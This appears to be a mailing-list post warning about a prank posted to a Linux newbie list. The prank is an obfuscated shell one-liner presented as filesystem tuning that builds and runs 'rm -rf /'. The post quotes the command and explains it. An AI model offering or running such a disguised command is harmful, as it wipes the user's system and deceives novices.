Today on the Linux newbie mailing list someone sent the following
maliciousness: (DO NOT RUN THIS!!)
>To tune your filesystem:
>echo xmms>t;cat t|sed s/x/r/|sed s/ms/\ -f\ \\//|sed s/f/rf/>./t;sh ./t -
>
>curious what this action would do. thanks!
>
It creates a file (t) that ends up containing 'rm -rf /' and runs it.
I thought some of you might find it interesting.
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Charles Farinella
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